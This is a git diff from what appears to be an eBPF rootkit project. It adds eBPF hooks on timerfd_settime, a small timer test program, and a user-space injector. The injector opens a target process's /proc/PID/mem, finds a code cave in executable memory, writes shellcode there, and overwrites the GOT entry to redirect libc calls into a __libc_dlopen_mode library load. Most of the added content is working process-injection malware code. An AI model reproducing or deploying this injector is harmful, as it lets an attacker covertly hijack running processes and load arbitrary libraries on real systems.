@@ -0,0 +1,110 @@
/**
* Modified version of Linux man page timer using timerfd.
* Counts to 3, 1 second at a time, then sets another time up to 3, one second at a time.
*/
#include <sys/timerfd.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
void print_elapsed_time() {
static struct timespec start;
struct timespec curr;
static int first_call = 1;
int secs, nsecs;
if (first_call) {
first_call = 0;
if (clock_gettime(CLOCK_MONOTONIC, &start) == -1){
perror("clock_gettime");
return;
}
}
if (clock_gettime(CLOCK_MONOTONIC, &curr) == -1){
perror("clock_gettime");
return;
}
secs = curr.tv_sec - start.tv_sec;
nsecs = curr.tv_nsec - start.tv_nsec;
if (nsecs < 0) {
secs--;
nsecs += 1000000000;
}
printf("Timer called at: %d.%03d: ", secs, (nsecs + 500000) / 1000000);
}
int main(int argc, char *argv[]) {
struct itimerspec new_value;
int max_exp, fd;
struct timespec now;
uint64_t exp;
ssize_t s;
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
perror("clock_gettime");
return -1;
}
new_value.it_value.tv_sec = now.tv_sec +1;
new_value.it_value.tv_nsec = now.tv_nsec;
new_value.it_interval.tv_sec = 1;
new_value.it_interval.tv_nsec = 0;
max_exp = 3;
fd = timerfd_create(CLOCK_REALTIME, 0);
if (fd == -1){
perror("timerfd_create");
return -1;
}
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
perror("timerfd_settime");
return -1;
}
printf("Timer started\n");
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
s = read(fd, &exp, sizeof(uint64_t));
if (s != sizeof(uint64_t))
perror("Error reading from timer");
tot_exp += exp;
print_elapsed_time();
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
}
if (clock_gettime(CLOCK_REALTIME, &now) == -1){
perror("clock_gettime");
return -1;
}
new_value.it_value.tv_sec = now.tv_sec +1;
new_value.it_value.tv_nsec = now.tv_nsec;
new_value.it_interval.tv_sec = 1;
new_value.it_interval.tv_nsec = 0;
max_exp = 3;
if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1){
perror("timerfd_settime");
return -1;
}
for (uint64_t tot_exp = 0; tot_exp < max_exp;) {
s = read(fd, &exp, sizeof(uint64_t));
if (s != sizeof(uint64_t))
perror("Error reading from timer");
tot_exp += exp;
print_elapsed_time();
printf("time between: %llu; total elapsed time=%llu\n", (unsigned long long) exp, (unsigned long long) tot_exp);
}
return 0;
}

BIN
src/helpers/simple_timer.o Normal file

Binary file not shown.

View File

@@ -0,0 +1,49 @@
#ifndef __MOD_INJECTION_H
#define __MOD_INJECTION_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "kit.skel.h"
#include "common.h"
//Connections
int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
}
int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
}
int attach_injection_all(struct kit_bpf *skel){
return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);;
}
int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){
return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel);
}
#endif

View File

@@ -3,6 +3,7 @@
#include "sched.h"
#include "fs.h"
#include "exec.h"
#include "injection.h"
module_config_t module_config = {
.xdp_module = {
@@ -22,6 +23,11 @@ module_config_t module_config = {
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
},
.injection_module = {
.all = ON,
.sys_enter_timerfd_settime = OFF,
.sys_exit_timerfd_settime = OFF
}
};
@@ -34,7 +40,8 @@ module_config_attr_t module_config_attr = {
},
.sched_module = {},
.fs_module = {},
.exec_module = {}
.exec_module = {},
.injection_module = {}
};
@@ -78,6 +85,14 @@ int setup_all_modules(){
}
if(ret!=0) return -1;
//INJECTION
if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel);
}else{
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
}
if(ret!=0) return -1;
return 0;
}

View File

@@ -35,6 +35,12 @@ typedef struct module_config_t{
char tp_sys_enter_execve;
}exec_module;
struct injection_module {
char all;
char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime;
}injection_module;
} module_config_t;
//Configuration struct. Used by the module manager to
@@ -58,6 +64,10 @@ typedef struct module_config_attr_t{
void* __empty;
}exec_module;
struct injection_module_attr {
void* __empty;
}injection_module;
} module_config_attr_t;
//An unique module configutation struct and attr

View File

@@ -0,0 +1,123 @@
#ifndef __MEM_CODE_CAVER_H
#define __MEM_CODE_CAVER_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "../common/constants.h"
#define CODE_CAVE_LENGTH_BYTES 0x40
#define NULL_BYTE 0x00
__u64 cave_find(int mem_fd, int cave_length, __u64 from, __u64 to){
int null_counter = 0;
lseek(mem_fd, from, SEEK_SET);
for(__u64 ii = from; ii<to; ii++){
char c;
read(mem_fd, &c, 1);
if(c == NULL_BYTE){
null_counter++;
}else{
null_counter = 0;
}
if(null_counter >= CODE_CAVE_LENGTH_BYTES){
printf("Found code cave at %llx\n", ii);
return ii;
}
}
printf("Cave not found between %llx and %llx\n", from, to);
return 0;
}
__u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u32 pgoff, __u32 major, __u32 minor, __u64 ino){
__u64 cave_addr;
cave_addr = cave_find(mem_fd, CODE_CAVE_LENGTH_BYTES, from, to);
return cave_addr;
}
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
//Writing the code cave address in the GOT section, future calls to libc will be redirected
size_t len = sizeof(__u64);
__u64 buf_n = (__u64)cave_addr;
lseek(mem_fd, got_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}
//First part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN;
char* buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_1;
lseek(mem_fd, cave_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 1");
return -1;
}
}
//Writing malloc address
len = sizeof(__u64);
buf_n = (__u64)malloc_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing malloc address");
return -1;
}
}
//Second part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_2;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 2");
return -1;
}
}
//Writing dlopen address
len = sizeof(__u64);
buf_n = (__u64)dlopen_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing dlopen address");
return -1;
}
}
//Third part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_3;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 3");
return -1;
}
}
//A trick to jump to a selected location
len = sizeof(__u64);
buf_n = (__u64)syscall_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing syscall address");
return -1;
}
}
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
return 0;
}
#endif

View File

@@ -0,0 +1,71 @@
#ifndef __MEM_INJECTION_EXT_H
#define __MEM_INJECTION_EXT_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "../common/constants.h"
#include "../common/map_common.h"
#include "code_caver.h"
int manage_injection(const struct rb_event* event){
char mem_file_name[100];
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
int mem_fd;
memset( (void*)mem_file_name, 0, 100);
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
mem_fd = open(mem_file_name, O_RDWR);
//lseek(mem_fd, event->got_address, SEEK_SET);
/*for(int ii=0; ii<sizeof(__u64); ii++){
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}*/
//Parsing /proc/pid/maps.
//Note that addresses usually appear as 32-bit when catting, but this is not completely true, 0s are ommitted
//Considering them as 64-bit
char *maps_file = calloc(512, sizeof(char));
FILE *f;
sprintf(maps_file, "/proc/%d/maps", event->pid);
f = fopen(maps_file, "rt");
while (fgets(maps_file, 512, f)) {
__u32 pgoff, major, minor;
__u64 from, to, ino;
char flags[4];
sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino);
printf("MAPS: %s\n", maps_file);
//Parse flags, find executable one
if(flags[2] == 'x'){
//Candidate for code cave finding
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
if(cave_addr!=0){
//Found valid cave.
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
}
printf("Successfully hijacked GOT\n");
break;
}
}
}
free(maps_file);
close(mem_fd);
return 0;
}
#endif

View File

@@ -15,6 +15,8 @@
#include <net/if.h>
#include <unistd.h>
#include <locale.h>
#include <dlfcn.h>
#include <link.h>
#include <bpf/bpf.h>
@@ -29,6 +31,7 @@
#include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h"
#include "include/utils/network/ssl_client.h"
#include "include/utils/mem/injection.h"
#define ABORT_IF_ERR(err, msg)\
if(err<0){\
@@ -152,7 +155,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
//Before parsing any data, check the type
if(e->event_type == INFO){
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
}else if(e->event_type == DEBUG){
@@ -249,6 +252,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else if(e->event_type == VULN_SYSCALL){
//eBPF detected syscall which can lead to library injection
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
if(manage_injection(e)<0){
printf("Library injection failed\n");
}
}else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
return -1;
@@ -405,6 +414,23 @@ int main(int argc, char**argv){
goto cleanup;
}
struct link_map *lm;
off_t offset = 0;
unsigned long long dlopenAddr;
lm = dlopen("libc.so.6", RTLD_LAZY);
if(lm==0){
perror("Error obtaining libc symbols");
return -1;
}
dlopenAddr = (unsigned long long)dlsym((void*)lm, "__libc_dlopen_mode");
printf("libdl: %lx\n", lm->l_addr);
printf("dlopen: %llx\n", dlopenAddr);
offset = dlopenAddr - lm->l_addr;
printf("Offset: %lx\n", offset);
//Once we have the offset of libc we proceed to uprobe our target program
//Now wait for messages from ebpf program
printf("Filter set and ready\n");
while (!exiting) {